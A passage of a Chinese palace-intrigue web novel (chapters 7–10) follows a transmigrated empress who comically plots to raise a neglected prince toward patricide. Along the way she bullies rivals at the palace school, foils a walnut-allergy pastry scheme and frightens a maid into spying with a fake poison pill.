《我娘才不是恶毒继母》
7. 快点长大
来到坤宁宫的第一天,对于齐子衡来说,就像做梦一样。
以前他只知道自己是四殿下,前面还有三个兄姐。
他与三个兄姐不同,他身份卑微,不得父皇怜悯,自然也不配见到他们。
就像被遗忘在阴暗水沟里的硕鼠,他知道前方是万家灯火,却连看一眼都是奢望。
直到皇后娘娘如神祇一般降临到他的世界中。
他像是突然被人从臭水沟里拽了出来,换上精美华衣,佯装成精致的孔雀。
大姐姐、二哥三哥都来探视他,不过是因为皇后娘娘赏了他这一身漂亮的衣裳。
他知道谁是真的谁是假的,也知道这些鲜亮约莫是不该属于自己的,他唯独在乎的,只有皇后娘娘。
彩环说那些人来探望他,是因为在乎或忌惮皇后娘娘,所以齐子衡想,那个五年来从未出现在他生命中的父皇会来吗?
他不是奢求父皇的怜悯,而是他明白,这整座皇宫所有的光鲜,都是依托父皇而存在的。
他不得父皇喜爱,所以过得孤苦,可皇后娘娘不一样。
皇后娘娘这般鲜亮的人,父皇定然很喜爱她,就像彩环姐姐说的,只要在乎皇后娘娘的人,今日必定会来。
可他等啊等,却始终未曾见到父皇的身影。
难道父皇不在乎皇后娘娘吗?
他不是在期待父皇出现,而是在担忧,若是得不到父皇的青睐,皇后娘娘会不会有朝一日也变得像他一样孤苦无依?
不可以,绝对不可以!
他可以重新回到烂泥里,但皇后娘娘这么好的人,怎么能因为他受苦呢?
他开始担忧、自责,是他连累了皇后娘娘,是他这卑微肮脏的硕鼠,脏了皇后娘娘华美的衣襟。
可皇后娘娘却丝毫不在意似的,还对他讲了个故事。
他和故事中的哈利一样被人嫌弃,不同的是哈利的父母爱他,还有同样爱他的长辈、朋友和师长,可他什么都没有。
不,有皇后娘娘就够了。
他阴暗、自卑又轻贱,他想告诉皇后娘娘,自己大概没办法像哈利一样温暖明媚的活着。
可皇后娘娘却说,那个不被爱的伏地魔才是主角。
他肆意张狂,不被道德枷锁束缚,只靠自己也能成为强大的魔王,他根本不屑于父亲的庇护。
“因为他杀了他爹。”
齐子衡怔怔地看着赵听嫣的眼睛。
他明白了。
真正的强者根本不需要任何人的庇护,他不该总是奢望从父皇那里获得怜悯,他要成为更强大的存在,才能保护皇后娘娘。
他自己可以烂在泥巴里,但如今他有了皇后娘娘,他须得腐地生花,让皇后娘娘永远明媚的闪耀着。
赵听嫣打量着齐子衡的表情,看到他的神色由茫然变得坚定,顿时欣慰起来。
看来首次弑父教育很成功嘛。
管他其他那些乱七八糟的听没听懂,只要这小子知道,杀了爹才能成为主角就行了。
赵听嫣心情颇好地摸了摸齐子衡的头,把他塞进被窝里:“好了,别想那些有的没的,那个人根本不重要。”
“明日早膳要多吃点,快点长高,听到没?”
齐子衡心里暖呼呼的,重重地点点头,闭上眼睛前还在暗暗的想,他一定要快点长大,他要保护皇后娘娘。
见齐子衡安然入睡,赵听嫣悄悄退了出去。
洗漱完毕躺在床上放松下来,她这才有空捋清思路。
第一天穿越,经历了太多事情也见了不少人,思维有些混沌,以至于思考问题的方式也有些过于简单了。
穿越时系统交代的任务背景很简单,只说是需要她促成齐子衡十年后弑父篡位的大业。
虽说他后来只做了三天皇帝,但也是登基了的。
赵听嫣发现自己忽略了很重要的一个问题,她只关注到了主观能动性,却忽略了登基的客观条件。
齐子衡能够勾结大雍弑父,的确是需要她费心将其培养成一个暴虐莽撞的纨绔暴君,可暴君也是君,登基称帝可不是只需要杀了皇帝那么简单的。
否则岂不是任何阿猫阿狗杀了皇帝,都能登基篡位?
四皇子齐子衡亲手抹了老皇帝的脖子却还能顺利登基,必须有两个重要前提——
第一,除了齐子衡之外,南齐再也没有合适的储君人选。
否则满朝文武绝不会拥立一个弑父的暴君,即便齐子衡真的势力斐然,其他储君人选也保准会蠢蠢欲动伺机夺位。
第二,也是最重要的一点,齐子衡手中要有权力。
即便他会勾结雍国,有雍国支持,但也要有能够压制住老皇帝党羽反抗的兵权,要在朝堂中有为其发声的中坚力量。
除了把齐子衡养成一个暴虐的废物之外,赵听嫣还必须在这十年的时间里为他达成这两点客观条件。
自古钱权不离家,待她站稳脚跟,以赵家之财力,完全可以有钱能使鬼推磨。
让赵听嫣比较头疼的是如何肃清其他储君。
只要没了其他储君势力,齐子衡当皇帝无论如何都是名正言顺。
幸好皇帝老登子嗣并不算多。
荣贵妃的二皇子、宣妃的三皇子……还有没有血缘的大公主。
赵听嫣纠结了片刻,按照封建王朝的尿性,大公主应该不必算到储君之列,但这位委实非同一般,掌握皇室财库之权,还深得老皇帝青睐,保不准以后会不会成为南齐武后。
宁可错杀,不能放过。
看来到时候……还是得下点狠手。
……
长乐殿。
齐子燕十五岁,还有一年才及笄,暂未出宫立府,是以就住在距离坤宁宫不远的长乐殿中。
烛火如豆,齐子燕孤零零地坐在藤椅上,手中摩挲着一块螺纹羊脂玉佩。
昏暗的烛光将她单薄的背影雕刻在背后的屏风上,这副百鸟朝凤屏风,是先皇后生前最爱之物。
只因那是在帝后婚前,彼时还为太子的皇帝赠与她的第一样礼物。
齐子燕还在对着玉佩出神,云香低声打断她的思绪:“公主,陛下果然没去。”
齐子燕神色淡淡:“料到了。”
“他一直避着那孩子,是心中有愧。”
“中宫那位究竟是何意?” 云香问。<
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p>齐子燕手指描摹着玉佩上精致的螺纹:“大抵是想寻个子嗣立足罢了。”
“不过倒也算是件好事,至少小四跟着她……就不必再受苦了。”
她的目光柔和了些:“毕竟他是青竹姑姑唯一的孩子。”
云香点点头,显得有些忧虑:“可中宫那位,会不会影响我们的计划?”
“人还是要继续找。”
“这么多年了丝毫不见进展,或许有人进来掺一脚,把水搅浑……那些求而不得秘密自然就显山露水了。”齐子燕冷声道,“再过几日,若是父皇那边还没有动静,我们就去提醒一二。”
“怎么说小四也是母后名义上的孩子,他也不能完全不闻不问不是吗?”
……
这几日赵听嫣一直在想方设法的投喂齐子衡。
骨头汤这种东西嘌呤太高,钙含量微乎其微,其实小孩子长身体主要还是得靠肉蛋奶。
皇宫的御厨将饭菜做的美味那是没话说,可到底缺乏现代营养学知识,食材的搭配水平还是差一些。
于是赵听嫣干脆亲自为齐子衡拟了食谱,每日蛋白质、碳水、脂肪、维生素等四大营养素缺一不可。
除此之外赵听嫣还打算研制一些现代才会有的小零食,比如蛋挞啊、小蛋糕啊之类的。
只可惜她以前从来不下厨房,日常靠外卖度日,所以对这些食品的研究只能靠臆想,失败率非常高。
在厨房埋头苦干了四五天,她的贡献大部分体现在打碎碟子、烧灭柴火或是浪费食材之上,但好在其他厨子比较争气,齐子衡的小脸已经肉眼可见的红润起来。
在坤宁宫度过了安静祥和的四五日,赵听嫣几乎都要忘记她还有个老登丈夫的存在了,彩环这个恼人的竟提醒她:“皇后娘娘,陛下朝坤宁宫来了。”
四五天了,他终于想起自己儿子和老婆了。
赵听嫣知道总要面对这一日,可心里还是没来由的烦躁:“他怎的来了?”
彩环:“说是今晨大公主面见了陛下,提了四皇子的事情。”
赵听嫣只好摘下围裙,随彩环回房梳洗打扮。
没一会儿就听门房高呼:“皇上驾到——”
赵听嫣携齐子衡与坤宁宫众人在殿门口跪迎,探着头往门口望。
只见一个身着明黄秀金龙纹锦袍的男人踏进门来。
他身量偏瘦,脸色也有些苍白,脚步不算虚浮,但走两步就会控制不住地捂嘴咳嗽。
三十多岁的老男人倒是长得显年轻,没什么帝王之气,眉目柔和清隽,有种文弱书生之感。
察觉到赵听嫣肆无忌惮的视线,齐渊愣了一下,连忙出声叫众人平身。
“朕前些时日身体抱恙,今日听子燕说你将子衡那孩子接回来了?如此甚好,是朕思虑不周,早该让他在嫡母膝下尽孝的。”
赵听嫣倒是没注意他这些冠冕堂皇的大话。
视线在他身后逡巡了一圈,身边就只跟着个满脸褶子的老太监。
“陛下,您……就自己来的吗?”
荣贵妃和宣妃都知道带点礼,这老子来看望自己儿子,啥也不带?
也太抠搜了吧!
8. 上学堂
赵听嫣算是服了。
感觉这皇帝听不懂人话。
她问他就自己来的吗,那齐渊竟然思量了片刻,一本正经地回答:
“子燕本欲与朕一同前来的,只是少府监有些公事,她便去忙了。”
赵听嫣:……装什么大西瓜呢?
空手来的就算了,进门半天了也没跟齐子衡说一句话,眼神都没怎么往过瞟。
罢了罢了。
他能如此冷漠也好,省的让齐子衡心里产生什么不切实际的幻想。
赵听嫣用余光观察着身旁的傻小子,好在他看起来没多少落寞的情绪,神色很平静。
帝后两人就这样站在院子里进行一系列毫无营养的日常问答。
赵听嫣嘴上敷衍,实则已经对皇帝进行了一轮完整观测评价,甚至将他的星座和MBTI都推算出来了。
这老小子今年三十六岁,比赵听嫣大了足足二十岁。
身材瘦削,皮肤是病态的白,说两句话就要捂嘴咳嗽一会儿,仿佛命不久矣。
赵听嫣觉得她的猜测应该没什么问题,就他这副行将就木的样子,就算夜夜到访坤宁宫,估计也只能面对着她这个美少女空余恨。
赵听嫣常年浸淫职场,件货见得不少,一秒就察觉这人应该是属于那种老阴比类型的,表面看起来气血不足,实际长了一副蜂窝煤心肠。
领导当惯了,偏偏还一副绿茶模样,好像所有事情都是无奈和迫不得已。
赵听嫣这一波收养齐子衡的操作等于说是把老登摁在地上啪啪打脸,难怪他迟迟不愿意露面,哪怕此时装出一副平静模样,实则心里肯定又气又尴尬。
不过孩子生了五年也不管不问的,他不尴尬谁尴尬。
赵听嫣决定让他更尴尬一点:“陛下觉得衡儿长高了些没有?”
齐渊大概在脚趾抠地:“看着……似乎……”
“哦对,我差点忘了。”赵听嫣假惺惺地说,“陛下与衡儿五年未见了,他比起襁褓时自是长高了不少。”
齐渊:……
领导有时候犯剑确实让人忍不住怼,但饭碗还是得保,这个时候就装成懵懂无知整顿职场的大学生就行了:“啊呀陛下,臣妾一时失言,您不会生气吧?”
然后可怜巴巴地看着他。
领导有气也只能往肚子里咽啊,毕竟员工说的是事实。
果然齐渊面色僵了僵,开始满地找补:“无妨,此事皇后说的也无误。”
“是朕忙于公务,又因为身体有疾鲜少有空关心子女,这才让衡儿这些年吃苦了。”
因着这句话,齐渊的视线终于落在了齐子衡身上,也难得带了几分慈爱之色。
“衡儿身量小,但也有五岁了吧?”
齐渊对齐子衡道,“你母后对你怜爱,但你也要懂事知理,后日起便与老二老三他们一起听学吧,也该开蒙了。”
看似关怀,实则步步为营……果然是狡诈型人格!
作为父亲,让孩子去学堂念书无可厚非,可齐子衡才刚刚从受苦受难的地方接回来,身体还没养好呢,就先去读书?
怎么着也得缓个半年吧?
这狗皇帝……绝对是想让她早日入套,但凡齐子衡在学堂中犯点什么错,都能连坐到她这个皇后身上。
一个将来要弑父杀君的暴虐愚蠢反派,怎么能读书明理呢?
要是真让他把这书读进去了,还怎么干杀爹的莽撞之事啊!
赵听嫣知道齐子衡作为皇子,总有一天要去读书的,她本想着将此事好好拖一拖,在入学堂之前,先由她对其进行一系列读书无用论的开蒙,可现下狗皇帝让他后日就入学……
无所谓了,兵来将挡水来土掩,有的是办法。
赵听嫣对上齐渊的视线。
浅灰色的瞳孔古井无波,察觉到赵听嫣隐隐带着怒意的眼神,甚至还露出一抹温和笑意:“皇后近来照顾衡儿操劳辛苦,看着都憔悴了。”
赵听嫣:?
拐着弯骂她变丑了?
赵听嫣咬牙切齿地想要扳回一局,但转念一想,她惹这不痛快干嘛,再过十年她的好大儿自会手刃此獠,君子报仇十年不晚!
两日后。
卯时齐子衡就需得前往文华殿听学。
赵听嫣打听过了,今日的夫子是翰林院编修李赞,据说此人是众夫子中资历最浅的一个,平日对皇子世子们重话都不敢说一句,十分好欺负。
按理说齐子衡上学赵听嫣不宜跟着,但毕竟今日是第一次,她肯定得去。
一是给齐子衡壮壮胆,二是让这小子好好学学校霸那一套。
幼时努力当校霸,长大才能捅爸爸。
赵听嫣并没有提前给齐子衡灌输不要好好学习的大道理,毕竟这种反话实在不好说,齐子衡即便是个小傻瓜,这种教唆也难免会令他生疑。
小孩子嘛,天性就是贪玩,让一个孩子好好学习天天向上很难,但勾起他玩耍的欲望简直不要太简单。
她想了两天,觉得此事似乎并不值得担忧。
学习成绩都是次要的,重要的是人品。
她的首要任务是让齐子衡在学堂中横行霸道,为将来成为霸道暴君打基础。
领着齐子衡站在文华殿外,两人都深深吸了一口气。
齐子衡手心汗湿,忐忑紧张,担心自己被兄弟们嘲笑欺辱。
赵听嫣手心里也都是汗,不过却是因为兴奋。
总算要干点反派该干的事了!
低头看了眼齐子衡,赵听嫣向他传达了战前宣言:“你今日这身缂丝云锦乃是上月贡品,只坤宁宫得了两匹,他们其他人见都没见过。”
所谓先敬罗衣后敬人,穿着尊贵欺负人的时候才能理直气壮。
“曾经你是无人问津的破落皇子,但现在你身后是全天下最尊贵的女人,你是坤宁宫唯一的皇子,所以该怎么样,你懂了吗?”
赵听嫣满意地看着齐子衡从犹豫变得坚定的眼神。
很好!就是这样!
穿着最贵的衣服,仗着皇后的势力,给我好好的当校霸,在学堂里欺负人吧!
赵听嫣本欲陪他一起进去,转念一想,这些事情总得他自己学会,再者,当着长辈的面欺负同学他恐怕也拉不下脸。
更何况她乃皇后,若是眼睁睁看着齐子衡欺负人传出去也不太好听。
这种事情虽然是她教唆的,可她还是得学学那狗皇帝,在背后端做一朵白莲花才好。
于是赵听嫣选择趴在窗边偷看。
文华殿不算太大,共摆了三排桌椅,除了坐在第一排最中间的二皇子和三皇子之
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外,其余的位置都是公侯家的世子们。
毕竟是为皇子伴读,他们年纪也都不太大,最大的一个也就十三四岁的样子,坐在最后一排。
可偏偏唯一的空桌椅就在那年纪最大的世子后面。
明明左右都还有空地,但那副桌椅就那样突兀地摆在后面,无人问津。
直到齐子衡走进去。
夫子还没有来,众人都在闲聊,坐在第一排的两位皇子只回头看了一眼。
二皇子冲齐子衡点头示意,算是打招呼了,至于三皇子,余光瞥了眼就与邻座说笑去了。
这二人态度轻蔑,其他人自然也跟着站队,没有一个人跟齐子衡说话。
他年纪最小,身量又低,就像个被欺负的小萝卜头,窘迫地在殿内逡巡着,只能找到最后的那个空位坐下。
前面的少年年纪大身量高,哪怕弓着身子与旁边的人聊天,也几乎将齐子衡挡了个严严实实。
齐子衡抿了抿唇。
他早料到会是这种情形,可皇后娘娘那样关心他,生怕他被人欺负了也不敢言语,临进门前还安慰他,他已不是那个无人撑腰的破落皇子了。
可事实真的是这样吗?
在这些人眼中,他不过是一只刚刚飞上枝头的土鸡罢了。
眼眶有些微微发热,齐子衡深吸一口气,抬起头来。
他须得勇敢一些,打狗还要看主人呢,他代表皇后娘娘,哪怕有朝一日会被厌弃,被丢回去阴沟里,可只要他还住在坤宁宫一天,就得为皇后娘娘争气。
坐在这个位置他听不到也看不见,既然来了学堂,他必须争做人先,好好读书做学问,不要给皇后丢脸。
于是齐子衡拍了拍前面少年的肩膀,沉着声音道:“这位兄长,可否帮我将桌椅抬到前面的空地上?此处我看不到夫子的脸。”
那少年转过头来,轻叹一声:“抱歉啊四殿下,座位都是夫子定好的,我等怎敢随意搬动呢?”
“你听得到夫子的声音便得了,看他脸做什么?”
此话一出,周围传来一阵哄笑声。
齐子衡垂下眼,从椅子上跳下来,决定自己将桌椅挪到前面去。
可他小小一只,哪里搬得动沉甸甸的红木桌椅。
“简直是废物点心!”赵听嫣在窗边看的咬牙切齿,气急败坏地就往殿里冲。
边走还边问彩环:“那个小子是谁?就坐在衡儿前面的,年纪最大的那个!”
彩环扶着她手臂:“那是宣安侯家世子,宣承。”
“宣安侯……是宣妃娘娘的长兄,是在宣妃娘娘诞下三皇子那年才封侯的。”
原来是外戚荫封得来的侯爵之位啊,果然跟那三皇子是一伙的。
居然欺负到坤宁宫头上来了,真当她赵听嫣老虎不发威吗?
“皇后娘娘驾到——”
赵听嫣风风火火地带着一行高大武侍踏入文华殿。
众皇子世子们纷纷起身打算叩拜,赵听嫣扬手:“不必行礼了,都在自己座位上好好给本宫坐着。”
“除了你——”
赵听嫣素手一指,视线凉薄地落在宣承身上:“你说这座位都是夫子定好的,不可随意挪动?”
“可你挡住四殿下了,怎么办?不如……你以后就跪着听课吧,如何?”
9. 学习成绩
赵听嫣实在是有些恨铁不成钢。
还指望齐子衡仗势欺人当校霸呢,怎么反倒被别人欺负了?关键时候搬出来皇后的头衔压人啊!
实在不行就揍他啊!她就不信这学堂里有人敢还手!
可这小子大概是被欺负惯了,实在是懦弱的紧。
赵听嫣心中郁卒,思虑了一番还是觉得自己的成年人思维有些过于浅薄了。
在成年人的世界中,权势才是最高阶的力量,哪怕她只是一个十六岁的年轻女孩,但只要有皇后的身份在,所有人都得跪拜她。
但孩子们的世界不一样。
齐子衡想建立起他的威信,不止要靠她皇后的身份撑腰,还得有自己的力量。
他年纪小身量弱,那就得借助外力。
哪个校霸身边没有一群小喽啰的?
就算有人想欺负他,也得考虑考虑自己有没有那个实力以一敌众。
所以必须得给齐子衡在学堂中收买一波势力。
赵听嫣视线在殿内扫了一圈,除了二皇子和三皇子之外,其余的学子都是公侯世家,那位宣安侯家世是最名不正言不顺的,只因宣妃近些年颇受狗皇帝青睐,作为宣家外戚他才有资格进宫伴读。
宣承在赵听嫣的命令之下已经跪在地上了,只是还在不住狡辩:“皇后娘娘恕罪!实在不是臣不帮四殿下,而是这桌椅位次的确都是夫子定好的……”
“你确定?”赵听嫣知道这小子肯定在胡诌,故意对彩环道,“去国子监给本宫问问,这座次到底是谁排的。”
“若是有人说谎……本宫亲自掌他的嘴。”
宣承果然脸都白了,连忙朝三皇子投去求救的目光。
总算要拉同伙下水了。
三皇子齐子路,今年七岁,长得白白胖胖,赵听嫣之前去找过宣妃的碴,小孩子到底藏不住事儿,齐子路看向赵听嫣的眼神显然带着不服气。
“母后,大家都没有帮四弟搬桌椅,您怎么能只责罚宣世子一人呢?”
小小年纪,还知道法不责众。
齐子路的语气挑衅,估计是觉得赵听嫣不会因为这么点小事处罚所有人。
赵听嫣挑唇冷笑:“确实,那就由三殿下代替大家受过吧。”
然后招呼身后的侍从:“去,把三殿下的桌椅给我搬到最后一排去,他和宣世子哥俩好,就坐一起吧。”
“把四殿下的桌子搬到这里来。”赵听嫣指着原本齐子路第一排正中间的位置。
齐子路大概是从来没受过这种气,拉着脸去了最后一排。
这才哪到哪啊。
赵听嫣挑唇一笑,看向众学子:“眼看幼弟有难却束手旁观,夫子就是这么教你们君子之道的吗?”
“的确法不责众,三殿下如今是在替你们受过,但你们怎可冷眼旁观?”赵听嫣道,“觉得自己也有错的,就搬着桌椅与三殿下坐到一处去,若是选择坐在原本座位上不动的……”
“本宫就当你们刚刚是没看到四殿下有难,并非刻意冷落。”
整个文华殿鸦雀无声,没有一个人动。
小小离间计而已,都是逗小孩的把戏。
除了宣承之外,必有其他公侯世子是三皇子一派,所以才根本没人搭理齐子衡。
眼下齐子路受罚,那些三皇子派若是敢搬着桌子与其坐在一处受罚,那就是摆明了向皇后和四皇子势力宣战。
朝堂风云诡谲,谁知道将来三个皇子谁是储君,再者皇后娘娘还年轻,若是将来真的有了嫡出子嗣,出生就是太子,此时得罪了皇后不就是得罪了东宫储君?
再站队也不是这么个站法。
那些小世子们虽然年岁轻,可家人常年浸淫官场宦海,怎会不懂这个道理。
所以没人陪三皇子齐子路受罚是一定的。
只是……他们明晰的态度,自然会在三皇子心中埋下一根刺。
而这齐子路看着也不像是心宽有城府的,见没人动作,眼神已经恶狠狠地落在几个人身上。
赵听嫣顺着他的视线看过去——
这不得来全不费工夫嘛,谁是三皇子的小喽啰都被他点出来了,而这些小世子背后势力,自然是站宣妃一党的。
武侍们动作很快,没一会儿齐子衡就乖乖巧巧地坐在了赵听嫣面前,最前面正中间的位置。
她本想叮嘱几句,夫子来了。
翰林院编修李赞年纪约莫三十出头,果然和传闻中一样好说话,殿内座位换了,还有人被罚跪,他愣是一句都没问,只顾着向赵听嫣行礼。
赵听嫣摆摆手:“李大人辛苦,衡儿今日初入学堂,还望大人多多照拂。”
“另外——”
出气归出气,立威归立威,学习成绩自然还是最重要的。
“衡儿年幼,课业什么的夫子就不要给他布置了,若是他听不懂……夫子也不必停下来单独与他解释,莫要耽误其他人的课业进程。”
学习成绩太重要了,可千万不能学好了!
赵听嫣苦口婆心地叮嘱了一番,别布置作业,别专门辅导他,他有不懂的问题别回答,就差明着说请夫子一定把我们家衡儿辅导成全班倒数第一了。
李赞若有所思地点了点头,看样子应是听懂了。
赵听嫣心满意足,正欲离开,余光一撇,察觉到宣承还跪在后面。
“行了,你起来吧。”
宣承面上一喜,正欲磕头谢恩,就听到赵听嫣招呼他:“过来跪四殿下旁边,既然你是伴读,那就要做好伴读该做的事情。”
“四殿下年幼,若是听课途中渴了饿了你要伺候好他。”
宣承:……
“但别回答他课业上的问题,也别想着辅导他。”
宣承:???
回到坤宁宫,赵听嫣立刻对学堂中的各方势力进行了一番调研。
宣妃父亲是个小文官,在官场一直没什么建树,只因是先皇后启蒙之师,仗着这份恩泽才混了个六品小官。
后来宣妃入宫,七年前诞下三皇子后,狗皇帝龙颜大悦,给其父封了个宣安侯。
直至宣父病逝,这宣安侯的爵位就落在了宣妃长兄身上。
如今宣家没什么实权,倒是仗着圣宠咋呼的很。
除了宣妃的母家,与三皇子一派交好的还有萧国公与淳亲王。
淳亲王是狗皇帝的堂兄,闲散王爷而已,平日只喜欢招猫逗狗,对朝堂之事漠不关心。
说起来狗皇帝大概真的是亲缘浅,只有一个亲生胞弟肃亲王,今年二十一岁,因着狗皇帝身体常常有恙,便给了肃亲王摄政之权。
是名副其实的摄政王。
狗皇帝对这
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个亲弟弟十分信任,幼时他们的母亲就病逝了,先皇又忙于政事,可以说是齐渊亲手把弟弟带大的。
相比之下,这位倒是比他的儿子们与他更亲近些。
至于与三皇子交好的另一世家萧国公,背景则有些麻烦。
此公与宣家、淳亲王之流的草包不同,是实实在在掌着兵权的。
赵听嫣的父亲威远侯掌镇北兵权,萧国公则握着南疆重兵。
他恐怕才是三皇子背后真正的拥护者。
不过经过今日学堂中的一番试探,赵听嫣倒是觉得三皇子小孩子心性不难对付,齐子衡真正的对手恐怕另有其人。
二皇子齐子君。
齐子君今年不过十岁,起先他与荣贵妃一同来坤宁宫探望齐子衡时,赵听嫣只觉得他一板一眼老实的像个小夫子,今日一观其实不然。
若是三皇子今日是刻意发难齐子衡,那二皇子看似温和的态度也绝不是释放善意。
在齐子衡进入文华殿时,他是唯一一个点头示意打招呼的。
可齐子衡的桌椅被摆在最后一排他不是看不到,在宣承发难时也并未施以援手,甚至赵听嫣匆匆赶来枪打了三皇子这个出头鸟,他也未曾做声一句。
沉默的仿佛不存在。
可沉默也是一种暴力。
表面示好,实则隔岸观火,让鹬蚌相争,他做得渔翁之利。
赵听嫣摸着下巴,看来这狗皇帝的后宫虽然没什么人,但留下来的……也还是有宫斗能手的。
“皇后娘娘,宣妃派人来了!”
彩环的通报声打断了赵听嫣的思路,只见一个小宫女正立在殿门口,手里还提着个食盒,察觉到赵听嫣的视线,立刻跪拜:
“皇后娘娘万安!”
“宣妃娘娘听闻三殿下在学堂上惹了四殿下不快,自责万分,本想着亲自前来致歉,但身体实在抱恙,怕过了病气给皇后娘娘,于是派奴婢来送些点心赔罪。”
婢女将食盒举过头顶,恭敬道:“我家娘娘入宫前在甘味堂学过手艺,这是她亲手制的桃花酥,陛下都喜欢的紧呢!”
消息倒是传的挺快,皇子们还没下学呢,她那边赔罪的点心都做好了。
也不知这宣妃到底算不算有城府,嘴上说着身体抱恙不便亲自前来赔罪,倒是有力气亲手做点心,这股自相矛盾的劲儿,让人不信这点心动手脚了都难。
赵听嫣示意彩环取过食盒。
盖子打开,热腾腾的果子香气扑鼻,一个个被做成了粉色的桃花样,整齐的码放在碟子里,卖相的确不错。
彩环将食盒拿到殿内,用银针戳了戳,银针并未变色。
只是……
她凑近闻了闻,掰开其中一只,细细捻了其中馅料放在鼻下,很快,眉心锁起。
彩环来到殿外,附耳赵听嫣:“娘娘,果子无毒,但是……”
“里面似乎加了核桃碎。”
她核桃过敏。
只是都穿越了,小赵听嫣的这具身体也对核桃过敏吗?
对上赵听嫣诧异的眼神,彩环小声提醒道:“娘娘您忘了吗?五年前京城肆虐一场寒疫,疫情虽不致命,但得过此疫之人后来都出现一种隐疾,若是食用核桃会呼吸急促浑身发疹。”
“五年前您也不幸染疫,赵府都多年未曾采购过核桃了!”
10. 齐晔
原来是因为这个对核桃过敏。
赵听嫣视线落在还跪在殿门口的婢女身上。
当初那场寒疫肆虐京城,赵家人染疫,以赵家的声望宣妃不可能不知情,所以……她是故意的。
把核桃磨成碎粉填入桃花酥的馅料之中,若非彩环从小就鼻子灵敏,对各种细微的味道都能闻之不忘,常人恐怕早就将这混着核桃碎末的桃花酥吞之入腹了。
赵听嫣没让那婢女起身,拉着彩环进了殿内。
彩环也觉得不可思议,感觉宣妃的行为有些小儿科:“说起来当初那场寒疫也波及到皇宫了,就连陛下都中招了呢。”
“宫内本来自那疫情之后就不打算采购核桃了,但陛下说总不能因为他对此物有疾,就剥夺了其他人食用核桃的权利,毕竟未曾染疫的人才是大多数。”
“再说因为此疫京城附近种植核桃的农户许多都吃不起饭了,若是宫里也不供此物,那些农户还怎么维持生计?”
赵听嫣诧异地看着彩环:“这真是陛下说的?”
彩环点头:“是啊,陛下此举甚义!”
真是看不出来,这狗皇帝还能做出这么仁义的事。
可惜了,他仁义,他的宠妃可不仁义。
赵听嫣挑了挑唇,把食盒放在桌上,来到殿外。
那名小宫女还在原地跪着,大约是跪的久了,又有些做贼心虚,以为赵听嫣发现了什么,这会儿正在瑟瑟发抖中,头都不敢抬。
赵听嫣嘱咐人去把她昨日给齐子衡研发的旺仔小馒头取来。
她不善厨艺,又是第一次烘烤这种饼干类的食品,火候没掌握好,旺仔小馒头烧过火了碳化,看起来跟一粒粒羊屎蛋似的。
不过倒是更像江湖大侠用的索命毒药。
赵听嫣取了一粒最紧实完好的,递给身旁的武侍:“去,把这粒来自西域的锁魂断肠丸给她塞进去!”
那小宫女张皇失措地抬起头,想跑又不敢跑,下一瞬就被两个高大的武侍摁着,哭耗着吞下了那粒黑黢黢的旺仔小馒头。
看样子根本没尝出味儿。
小宫女简直要吓破胆,跪在地上一边哭一边抠着嗓子眼儿催吐。
赵听嫣心里想笑,估计早都化了,吐也吐不出来。
旁边的两个武侍还在吓唬她:“大胆!皇后娘娘赏赐,你岂敢吐出来!”
赵听嫣也双臂环胸,凉凉地看着她笑:“吐出来也无妨,还有一大堆呢,吐了再喂。”
彩环还特地把装在瓷碗里的一大堆黑色小馒头给她看。
小宫女脸色煞白,吓得魂都没了,只顾着磕头:“皇后娘娘饶命!皇后娘娘饶命啊——”
“你应该知道本宫家姐常年从商,多次行走西域,像这种有意思的毒药多的是。”
赵听嫣笑眯眯地说,“当然,本宫最喜欢的还是这锁魂断肠丸。”
“此药以毒为解,每七日便得服用一丸,不得间断,否则就会肠穿肚烂口鼻生疮而死。”
“七日后……是让你吃药续命呢,还是直接死掉,这都得看本宫心情。”
小宫女砰砰磕头,一把鼻涕一把泪:“皇后娘娘饶命啊!奴婢不想死……”
“那你说说,宣妃在耍什么阴谋诡计?”
小宫女迟疑了一下。
赵听嫣冷哼:“倒是个忠仆,只是你到时候肠穿肚烂而死,宣妃会为你厚葬吗?”
小宫女连忙磕头:“皇后娘娘饶命啊!奴婢……奴婢不敢说……”
“放心吧,只要你全须全尾的说出来,本宫不治你的罪。”赵听嫣让人端来一碟金子,“喏,不但不治你的罪,只要你成为本宫的人,这些好处少不了你的。”
“宣妃能给你多少俸禄?本宫的财力你应该知晓,除了这些,本宫可以给你在宣妃宫中十倍的酬劳。”
“只要说出宣妃的阴谋,不用死了,还能发财……岂不美哉?”
那碟金子实在耀眼,小宫女什么都招了:“奴婢小翠,是……宣妃娘娘的贴身侍女,那碟桃花酥里被宣妃娘娘夹了核桃碎,她说您之前也中过寒疫,此物无毒,但却可以让您痛不欲生,哪怕到时候追究起来,她也可以说自己对您中过寒疫之事不知情。”
“还有吗?”
小翠又砰砰磕头:“就只有这个!若是您还想知道别的……”
她思索片刻,分分钟卖主:“昨日宣妃娘娘得知四殿下要去文华殿读书之事,特地嘱咐三殿下不必给他好脸色;然后昨夜为了留住陛下,宣妃娘娘给陛下跳了霓裳舞,但陛下还是走了……”
“还有前日,宣妃娘娘做了鹿血糕,哄骗陛下说是鸭血糕,但是陛下晚上还是走了;还有……”
赵听嫣:……
还真是卖的事无巨细啊。
“好了。”赵听嫣打断她,“记住,以后不论宣妃做了什么,你都要定期来向我禀报,若是让我发现你知情不报,你会死的很难看。”
小翠举手立誓,一副忠心耿耿的模样:“奴婢对皇后娘娘马首是瞻!”
赵听嫣:……
“那若是此事被追究,宣妃狡辩,你该如何做?”
小翠:“奴婢定然会将那宣妃的恶行公之于众!”
她怕那一碟金子太惹眼,特地让赵听嫣兑了银票给她,临走前还鞠躬叩头的,一副死心塌地的模样。
遣走小翠后,彩环将食盒收起来,忧心忡忡地说:“那宣妃委实过分,娘娘,咱们该如何?是把这点心扔了,还是说去陛下那里告状?”
“告状也没用,陛下不会追究的。”
一边是母族权势滔天但并不喜爱的皇后,一边是可怜巴巴连岳父的爵位都是他给封的宠妃,狗皇帝向着谁可想而知。
彩环愤愤不平:“难道娘娘真的要把这口恶气咽进肚子里吗?”
当然不。
“这桃花酥可别浪费。”赵听嫣勾唇,“走,把点心给陛下送去。”
吃死他个老登。
……
南疆传来捷报,蛮子游击似的骚扰让南齐很是头疼,前两个月萧国公率兵给予蛮匪重击,将其撵出了南疆三百里开外,如此总能安生了。
萧国公也接诏回朝。
齐渊与众臣在尚书房商量了一上午关于萧国公褒奖之事,眼下总能歇了。
他捂住嘴咳了一阵,有人递了杯茶过来,齐渊这才发现齐晔还没走。
齐晔刚刚及冠一载,身量很高,明明是该明媚张扬的年纪,却常年一身黑色锦衣,沉稳冷持。
可即便他不苟言笑,这张俊美的面皮也让京城待嫁少女倾心不已,时不时便有重臣之女求嫁。
